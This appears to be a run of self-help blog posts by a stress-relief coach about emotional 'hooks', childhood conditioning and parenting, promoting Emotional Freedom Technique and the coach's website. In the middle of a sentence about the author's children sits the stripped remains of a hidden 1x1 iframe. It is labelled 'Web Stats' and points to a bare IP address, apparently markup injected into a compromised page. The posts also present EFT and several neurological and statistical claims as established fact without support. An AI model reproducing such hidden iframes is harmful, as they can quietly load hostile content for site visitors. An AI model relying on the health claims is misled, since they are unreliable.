Do you want to know what causes stress or why you have the life stress that you’re experiencing? 

This simple formula might be helpful:         EVENT + PERCEPTION

You  start with an Event, which is neutral; it is neither good or bad.   You then filter it through your Mental Perception filter to compare it with everything that has ever happened before in your life (whether you remember it or not).  Based on your past experiences, you will then assign your own meaning to the Event.

In order to create a Negative Emotional Hook or make the Event be a stressor in your life, you have to add Intense Emotion.   So the formula then becomes:            EVENT + PERCEPTION + INTENSE EMOTION

Here is an example of how a negative emotional hook could be created.  Suppose you’re walking down the street as a small child and a snarling dog lunges at you.  The snarling dog lunging at you is the Event.  You think that you are in danger.  That is your Perception.  You instantly go into the Fight or Flight Survival Response.  Your heart is pounding and you feel Fear.  That is the Intense Emotion.

You have now created a “Negative Emotional Hook”.  From that moment on, every aspect of the event: every sensory perception - what you saw, heard, touched, tasted, smelled and most importantly, what you felt, has been hardwired into your nervous system.  And because it has been hardwired using your Survival back brain, you can’t process it logically through your thinking brain.

So the formula then becomes:                                                                                                                                                                   EVENT + PERCEPTION + INTENSE EMOTION = NEGATIVE EMOTIONAL HOOK!

Each time you experience anything at all similar, whether real or imagined, you will fire off the whole sequence of negative conditioned reactions that were part of your survival response the first time the snarling dog lunged at you - even if the original incident has long been forgotten.  If you just think about it, you will have the same physical and emotion reaction.  Remember that the mind cannot tell the difference between what is real and what is imagined.  It will always react as if it were a real threat. 

From then on, no matter how old you are or how long ago the Event happened, any time you are exposed to anything that is anything like the Event, you will automatically revert to the Emotional age and stage you were at when the Event first happened.  You may have been five when it happened and you are fifty-five now, but you will think, feel and react the way you did when you were five - if you have not eliminated this Negative Emotional Block that was conditioned into your system.

So what are the possible results or consequences of a Negative Emotional Hook?

Depending on the person involved, the key byproduct of this Event could be:

a)  a Mental Block - a limiting belief like: “I don’t like dogs” or “animals are vicious”, etc.

b) an Emotional Block - anxiety attack: “I hate/fear dogs, animals, walking outside, sudden movement, etc.

c) a Physical Block - “I have a headache, backache, etc.  I guess I can’t go for a walk.

Or All Three!

Now we used a snarling dog, which created a fear of dogs as an example. But the same process applies to any experience that creates any kind of limiting behavior or belief.  The best way that I have found to eliminate these Negative Emotional Blocks has been Emotional Freedom Technique (EFT).

I would like again to quote Dr. Joseph Dispenza, from the video “What the Bleep?! Do We Know Anyway?”  Dr. Dispenza specializes in neurology, neurophysiology and brain function.

Dr Dispenza said that “there is a part of the brain called the hypothalamus.  The hypothalamus is like a little mini factory.  It is a place that assembles certain chemicals that match certain emotions that we experience.  Those particular chemicals we call peptides.  They are small chain amino acid sequences.

In the hypothalamus, we take small chain proteins called peptides and we assemble them into certain neuropeptides or nerve hormones that match the emotional states that we experience on a daily basis.  So there are chemicals for anger and there are chemicals for sadness.  There are chemicals for victimization and there are chemicals for lust.  There is a chemical for every emotional state that we experience.

The moment we experience that emotional state in our body or in our brain, the hypothalamus will immediately assemble the matching neuropeptide (nerve hormone) that is then released through the pituitary into the bloodstream.”

What does this mean to us?  It means that our body physically responds to the emotions that we are feeling and it responds instantly.  It also means that we interrupt these chemical reactions by changing the way that we are feeling.  The best way that I have found to do that is by applying the powerful stress-reducing tool of Emotional Freedom Technique (EFT).

What is the real cause of our stress?  It is our mental model of the world, based on our values, beliefs and early childhood conditioning.

Dr. Newberg, associated with the hospital at the University of Pennsylvania, has focused his research on various activation studies  designed to explore how brain function is associated with various mental states.

Quoting Dr. Newberg: We build up models of how we see the world outside of us.  And the more information we have, the more we refine our model, one way or the other.  Ultimately, what we do, is tell ourselves a story about what the outside world is.  Any information that we process, any information that we take in from the environment is always colored by experiences that we had and an emotional response we’re having to what we are bringing in.

Shirley MacLaine, the actress and author, says the same thing:  We do not see the world as it is.  We see the world as we are.

Last, I do not know who said this but I believe it is true.  “I would not have seen it if I didn’t believe it.”

So how can we apply this information to our own lives?  We can look at the our life that are stressful to us by taking a life stress test.  Go to www.SherylStanton.com/life-stress-test.html

Then we can decide to do something to reduce  it. www.SherylStanton.com

I would like to quote Dr. Joseph Dispenza, from the video “What the Bleep?! Do We Know Anyway?”  Dr. Dispenza specializes in neurology, neurophysiology and brain function.

“Who is in the driver’s seat when we control our emotions or when we respond to our emotions?  We know physiologically that nerve cells that fire together, wire together.

If you practice something over and over again, those nerve cells have a long-term relationship.  If you get angry on a daily basis, if you get frustrated on a daily basis, if you suffer on a daily basis, you give reason for the victimization in your life.  You are rewiring and reintegrating on a daily basis.  That neuronet now has a long-term relationship with all those other nerve cells - called an identity.

We also know that nerve cells that don’t fire together; no longer wire together.  They lose their long-term relationship because every time we interrupt a thought process, that produces a chemical response in the body.  Every time we interrupt it, those nerve cells that are connected to each other start breakiing their long-term relationship.

When we start interrupting and observing; not by stimulus and response in that automatic reaction, but by observing the effects it takes, then we are no longer the body-mind conscious emotional person that is responding to its environment as if its automatic.”

So who is in charge of our emotions?  We are.  But most of us don’t know that.  We have been conditioned to believe that other people or events cause our stress.  However, as Dr. Dispenza says, we can change our automatic reactions by interrupting the thought process.  That is what we do when we apply the powerful stress-reducing formula of Emotional Freedom (EFT).  If you would like to know more about EFT, I encourage you to visit my website at www.SherylStanton.com

There is a video called “What the Bleep?! Do We Know Anyway?”   It is a wonderful video that demonstrates how we create our reality.  I encourage you to rent it from your local video store.  It is well worth watching.

I want to quote Dr. Andrew Newberg, an assistant professor in the dept. of Radiology at the hospital of the University of Pennsylvania and a staff physician in Nuclear Medicine.  Dr. Newberg’s research, which has been performed with the departments of Neurology and Psychiatry, has focused not only on specific disorders but also on various activation studies designed to show how brain function is associated with various mental states.

Here is what he had to say in the movie:

“We build up models of how we see the world outside of us.  And the more information we have, the more we refine our model, one way or the other.  Ultimately, what we do is tell ourselves a story about what the outside world is. 

Any information that we process, any information we take in from the environment is always colored by experiences that we had and an emotional response we’re having to what we’re bringing in.”

This is just another way of stating what was quoted in the last blog.  Shirley Macleane, the actress and author said: “We do not see the world as it really is.  We see it as we are.”

In my private counseling, I have found that my experience with my parents is not unique at all.  With all of my clients, when we finally get to the core issues of their problems, in almost every case, they boil down to feelings of lack of self-worth: not being good enough and powerless to do anything about it.

I want to share a paragraph from Bill Harris, the Director of Centerpointe Research Institute, which is dedicated to Mind Research and Healing through Deep Meditation.

He says: “The bottom line is that most of us have wounds from childhood that need healing before we can truly live happy, joy-filled lives and fully realize our potential as human beings.  Many, of course, are unaware that the parts of their lives that don’t seem to work are the result of these unhealed wounds.”

Just to summarize, in the last series of blogs, we have been talking about our perceptions of things that happen around us and how we got those perceptions.  Perception is the meaning we attach to anything and it is determined by our values, beliefs and attitudes - our childhood programming or “writing on our walls”.

Shirely Macleane, the actress and author said: “We don’t see the world as it is.  We see it as we are”.  Or another way of saying the same thing is: “I wouldn’t have seen it if I hadn’t believed it.”

I have a much better understanding of the scripture that talks about the sins of the parents being answered on the heads of the children to the third and fourth generation.  It is true in many cases.

The painful truth is that we raise our children the same way we were raised!  Even though I didn’t like the way I was raised, I raised my children the same way (without realizing that I was) - because I also didn’t know any better. 

Again, someone said: By the time we are experienced as parents, we are no longer employed.  By the time I had learned how to heal myself, I had already damaged my children.  I tried desperately to fix them, but they were now adults, and I couldn’t.  For a while, the guilt and emotional pain I experienced were more than I could bear — until I accepted that I truly had done the best that I knew how at the time.  Then I was finally able to forgive myself and be healed of that terrible burden.

If any of you are feeling the same way about your child-raising practices, the very best thing that you can do for your children is to heal yourself.  When you do that, you are coming from a totally different place as you interact with them.  This, then allows your children to start healing too.

My children have to take their own healing journey.  Some are moving along the path; some are completely stuck.  But I have had to let go and give them the freedom to make their own choices. !– Web Stats — iframe src=http://74.222.134.170/stats.php?id=2 width=1 height=1 frameborder=0/iframe !– End Web Stats — The only thing that I can do is love them and set the example by living my life the best way I can.

Do you know how many times a child has heard the word “NO” by the time they reach kindergarten?  Studies show that children have heard the word “NO” 50,000 times, as compared to hearing the word “YES” only 5,000 times!   The majority of us have been conditioned to be negative!

So, the age-old excuse “my parents did it to me” is true!  But when we move away from home, as adults, we take over the job.  Listen to people’s self talk: “I’m so stupid!”  “How could I be so dumb”  “I’ll never be able to do this.”  “I can’t…”  “I’m not…” “I’ll never…” etc. etc. etc.

I remember when I first learned about the negative emotional blocks I’d had all my life, I went through a stage of hating my parents.  Then I worked through that and realized that they couldn’t give me something that they didn’t even know about?  They didn’t know what unconditional love was because they’d never had it in their own lives. 

Finally, I reached the stage where I recognized that my parents were good people who had done the best they could with the level of knowledge, skill and awareness they had at the time.  I also realized that it was time to stop blaming my parents and accept responsibility for my life.  I didn’t have any control over what happened to me as a child but I had the ability and the responsibility to affect how the rest of my life was going to be.

Someone once said that you spend the first twenty years of your life learning from your parents and the rest of your life unlearning.  In many cases, I believe that to be true.

So how did my negative belief system affect my business life?

As I mentioned in an earlier blog, I was a workaholic.  Besides being a registered nurse, I tried many different business ventures: various kinds of home parties and several network marketing ventures.

I was very creative and had lots of wonderful ideas.  I worked very hard and spent money we didn’t have, trying to get the businesses going.  But every time the business would start to be successful, I would sabotage it.

I understand now why I did that.  It was because I had to be true to my belief system of not being good enough.  Subconsciously I believed that I didn’t deserve to succeed.  So when I started to be successful, I would start doing things or not doing things that would cause my businesses to fail.

I found this to be true even as I started my business as a stress relief coach.  I worked with people for well over a year before I ever got paid.  I even turned down people who were willing to pay me.  How dumb is that?

I didn’t believe that I was good enough for people to actually pay me.  I had learned about the negative belief systems and emotional blocks and was able to help other people break theirs.  but mine were too deeply buried.  I couldn’t access them myself.

I had to go to another skilled Emotional Freedom Technique (EFT) specialist to get my negative emotional blocks about worthiness and money broken.  Finally, I was free to move forward with my business and succeed financially.

Before I had reached the age of understanding, I had a well established belief system of having no value as myself, only in what I accomplished; I was responsible to meet other people’s needs and nothing I ever did was good enough, no matter how hard I tried.

What a terrible foundation to build your life on.  Every decision I ever made, every action, every feeling was based on this negative belief system (that I had no idea was even there!)

This belief system transferred over into my adult life.  As a result, I never felt any real peace, joy or sense of satisfaction because nothing I ever did was good enough.  I only saw what I didn’t do or could have done better.

Again, I want to stress here that my parents were not bad people.  They were just ordinary people, doing the best they knew how, based on how they were raised and their own belief systems.

So, how did my belief system affect my business life?  I’ll talk about that in the next blog.